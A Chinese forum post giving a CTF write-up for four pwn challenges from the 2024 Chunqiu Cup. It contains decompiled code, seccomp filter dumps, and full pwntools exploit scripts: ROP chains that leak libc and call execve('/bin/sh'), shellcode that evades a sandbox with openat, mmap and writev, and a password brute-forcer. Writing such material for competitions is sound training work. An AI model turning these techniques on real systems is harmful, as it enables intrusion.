首页
社区
课程
招聘
2024春秋杯PWN WP
发表于: 2024-7-13 21:39 6133

2024春秋杯PWN WP

2024-7-13 21:39
6133

main函数

vuln函数

init函数

一开始的思路是main函数栈溢出劫持至vuln函数,vuln函数栈溢出调用puts得到libc地址,但是setvbuf(stdout, 0LL, 0, 0LL);无法得到回显

再者的思路是ret2csu,但是无法控制rcx第四个参数致使setvbuf报错,行不通

关键是init函数,setvbuf(stdout, 0LL, 0, 0LL)标准输出全缓冲,即缓冲区被填满才会进行i/o操作

刷新缓冲区的方法

填满缓冲区后会刷新

exit退出会刷新缓冲区

调用fflush函数

流被关闭(调用fclose

在这道题中,我们采用第一种方式进行i/o操作,即重复多次调用extend函数填满缓冲区

使用带有\x00的汇编指令绕过strlen,我使用的是mov esi,0机器码为\xbe\x00\x00\x00\x00(小端序)

沙箱禁用了许多系统调用,具体如下

寻常的orw无法使用,这里我采用的是openat,mmap,writev来读取flag

函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。另外3个参数与open参数相同。openat的返回值与open相同,都是当前正未使用的最小的文件描述符值。

对于Linux系统调用,6个参数的传递寄存器分别为rdirsirdxr10r8r9。与Glibc的传参有所不同。

内核的mmap函数的flag参数和glibc的不太一样,0x10表示映射文件MAP_FILE,0x2表示私有映射MAP_PRIVATE,0x20表示匿名映射MAP_ANONYMOUS。这里需要使用MAP_FILE | MAP_PRIVATE才能完成映射

fd: 文件描述符,表示要写入的文件、管道或网络套接字。

iov: 指向 iovec 结构数组的指针,每个 iovec 结构包含一个缓冲区和其长度。

iovcnt: iovec 结构的数量。

iovec结构体

思路是绕过strlen直接写shellcode

直接在栈上写writev第二个参数(结构体指针)的*iov_base和iov_len,主要是直接通过汇编操作就像下面的示例,会报错(不清楚原因)

脚本

随机数生成范围为a-z

buf数组和字符i内存区域相邻,当buf数组填满会将字符i打印出来,通过泄露的字符i爆破随机数

memory

单字节爆破,最多爆破26*8=208次,下面是我写的爆破脚本

接下来就是格式化字符串泄露stack和libc,进challenge函数打栈溢出。

先看一眼沙箱,发现又把常见的orw禁用掉了,无法调用read写bss段,所以我选择打栈

先用mprotect函数给栈段开权限,注意的是mprotect的第一个参数需要内存页对齐(0x1000),然后接上shellcode,openat,mmap,write打出flag

首先看一眼程序逻辑,发现是菜单

Read函数看一看,是向栈上地址写入0x400字节

重点来了,Choice函数中会进行 ((void (__fastcall *)(__int64))choice[v3])(a1)指针操作,看一下choice里的内容

可以看到choice里存放着函数指针

choice

这下Choice函数的功能就清楚了,通过 v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8);获得下标的值,就可以调用choice里的函数

下标为12的是vuln函数,存在system函数,同时获取(*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)里的数据作为参数

分析完毕,这时我的思路是调用Read函数向栈上写入12,再调用Choice函数进到vuln函数,但是Choice函数对v3进行了检查,v3不能大于11,所以这条道路行不通

继续逆向,发现choice里存在类似Choice的函数,命名为re_choice

接下来就清楚了

1.调用Read向栈上写入下标

2.调用Choice函数进而re_choice

3.通过re_choice进入vuln

通过gdb调试,可以知道Choice函数中 v1 == 0, *(a1 + 0x2808) == 1, v3 == *(a1 + 0x808)。接下来再re_choice中v3 == 2, v1 == 1, *(a1 + 0x2808) == 2,所以只需发送p64(0xa) + p64(0xc)即可进入vuln。vuln中v1 == 2, *(a1 + 0x2808) == 3, *(a1 + 8 * (v1 + 256) + 8) == *(a1 + 0x818),即system(0x2810 + 8 * (*(a1 + 0x818)) + a1)所以只要使0x2810 + 8 * (*(a1 + 0x818)) == 0x820即可在*(a1 + 0x820)处写sh并完成调用,可以计算出*(a1 + 0x818) == 0xfffffffffffffc02时上溢为0x820

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF
 
  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF
 
  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  return read(0, buf, 0x200uLL);
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 
  return read(0, buf, 0x200uLL);
}
int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}
int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}
int init()
{
  ;
  return setvbuf(stdin, 0LL, 2, 0LL);
}
int init()
{
  ;
  return setvbuf(stdin, 0LL, 2, 0LL);
}
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
libc = ELF('./libc-2.31.so')
 
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
 
vuln = 0x40125D
extend = 0x401287
puts_plt = 0x4010B0
read_got = 0x404028
pop_rdi_ret = 0x00000000004013d3
 
payload = b'a'*0x58 + p64(vuln)
s(payload)
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
p2 = b'a'*0x28 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +p64(extend) + p64(vuln)
s(p2)
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
#重复调用extend函数填满缓冲区
for i in range(20):
    p3 = b'b'*0x28 + p64(extend) + p64(vuln)
    s(p3)
 
#p3 = b'a'*0x28 + p64(extend) + p64(vuln)
#s(p3)
p.recvuntil(b'\n')
libcbase = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log.success('libcbase ==> ' + hex(libcbase))
p.recv()
 
sys=libc.symbols['execve']+libcbase
sh=next(libc.search(b'/bin/sh'))+libcbase
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
ret = 0x000000000040101a
pop_rsi_r15 = 0x00000000004013d1
pop_rdx_ret = 0x0000000000142c92 + libcbase
p4 = b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) +p64(pop_rsi_r15)+ p64(0)+ p64(0) +p64(pop_rdx_ret)+ p64(0)+p64(sys)
s(p4)
p.interactive()
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
libc = ELF('./libc-2.31.so')
 
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
 
vuln = 0x40125D
extend = 0x401287
puts_plt = 0x4010B0
read_got = 0x404028
pop_rdi_ret = 0x00000000004013d3
 
payload = b'a'*0x58 + p64(vuln)
s(payload)
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
p2 = b'a'*0x28 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +p64(extend) + p64(vuln)
s(p2)
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
#重复调用extend函数填满缓冲区
for i in range(20):
    p3 = b'b'*0x28 + p64(extend) + p64(vuln)
    s(p3)
 
#p3 = b'a'*0x28 + p64(extend) + p64(vuln)
#s(p3)
p.recvuntil(b'\n')
libcbase = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0
log.success('libcbase ==> ' + hex(libcbase))
p.recv()
 
sys=libc.symbols['execve']+libcbase
sh=next(libc.search(b'/bin/sh'))+libcbase
 
#gdb.attach(p,'b *0x40127F')
#pause()
 
ret = 0x000000000040101a
pop_rsi_r15 = 0x00000000004013d1
pop_rdx_ret = 0x0000000000142c92 + libcbase
p4 = b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) +p64(pop_rsi_r15)+ p64(0)+ p64(0) +p64(pop_rdx_ret)+ p64(0)+p64(sys)
s(p4)
p.interactive()
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL
ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);
ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);
long sys_mmap(unsigned long addr, unsigned long len,
            unsigned long prot, unsigned long flags,
            unsigned long fd, off_t pgoff);
long sys_mmap(unsigned long addr, unsigned long len,
            unsigned long prot, unsigned long flags,
            unsigned long fd, off_t pgoff);
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
struct iovec {
    void  *iov_base; // 指向数据缓冲区的指针
    size_t iov_len;  // 缓冲区的长度
};
struct iovec {
    void  *iov_base; // 指向数据缓冲区的指针
    size_t iov_len;  // 缓冲区的长度
};
push 0x100  
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push 0x100  
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
 
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
 
mov_esi_0=b'\xbe\x00\x00\x00\x00'
p.recv()
 
shell = '''
mov rsp,0x1338000
 mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall
     
 mov rdi, 0x10000
    mov rsi, 0x1000
    mov rdx, 7
    push 0x12
    pop r10
    push 0x3
    pop r8
    xor r9, r9
    push SYS_mmap
    pop rax
    syscall
     
    push 1
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    mov rsi, 0x1337070
    push SYS_writev
    pop rax
    syscall
'''
 
#gdb.attach(p)
#pause()
payload= mov_esi_0+asm(shell)
payload = payload.ljust(0x70,b'\x90')
#栈上写参数
payload+= p64(0x10000) + p64(0x100)
s(payload)
 
p.interactive()
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = process('./pwn')
 
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
 
mov_esi_0=b'\xbe\x00\x00\x00\x00'
p.recv()
 
shell = '''
mov rsp,0x1338000
 mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall
     
 mov rdi, 0x10000
    mov rsi, 0x1000
    mov rdx, 7
    push 0x12
    pop r10
    push 0x3
    pop r8
    xor r9, r9
    push SYS_mmap
    pop rax
    syscall
     
    push 1
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    mov rsi, 0x1337070
    push SYS_writev
    pop rax
    syscall
'''
 
#gdb.attach(p)
#pause()
payload= mov_esi_0+asm(shell)
payload = payload.ljust(0x70,b'\x90')
#栈上写参数
payload+= p64(0x10000) + p64(0x100)
s(payload)
 
p.interactive()
for ( i = 0; i <= 7; ++i )
   love[i] = rand() % 26 + 97;
for ( i = 0; i <= 7; ++i )
   love[i] = rand() % 26 + 97;
key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
data = ''
num = 0
 
while True:
    sla(b'> \n', b'1')
    sa(b'please input your password: \n', ''.join(key))
    p.recv(26)
    data = ord(p.recv(1))
    log.success(data)
 
    if (data == num + 1):
        num += 1
     
    elif (data == 112):
        key_list = ''.join(key)
        log.success(key_list)
        break
 
    else:
        key[num] = chr(ord(key[num])+1)
key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
data = ''
num = 0
 
while True:
    sla(b'> \n', b'1')
    sa(b'please input your password: \n', ''.join(key))
    p.recv(26)
    data = ord(p.recv(1))
    log.success(data)
 
    if (data == num + 1):
        num += 1
     
    elif (data == 112):
        key_list = ''.join(key)
        log.success(key_list)
        break
 
    else:
        key[num] = chr(ord(key[num])+1)
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0013
 0008: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0013
 0009: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0013
 0010: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
line  CODE  JT   JF      K
=================================

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-7-14 09:16 被waddle编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//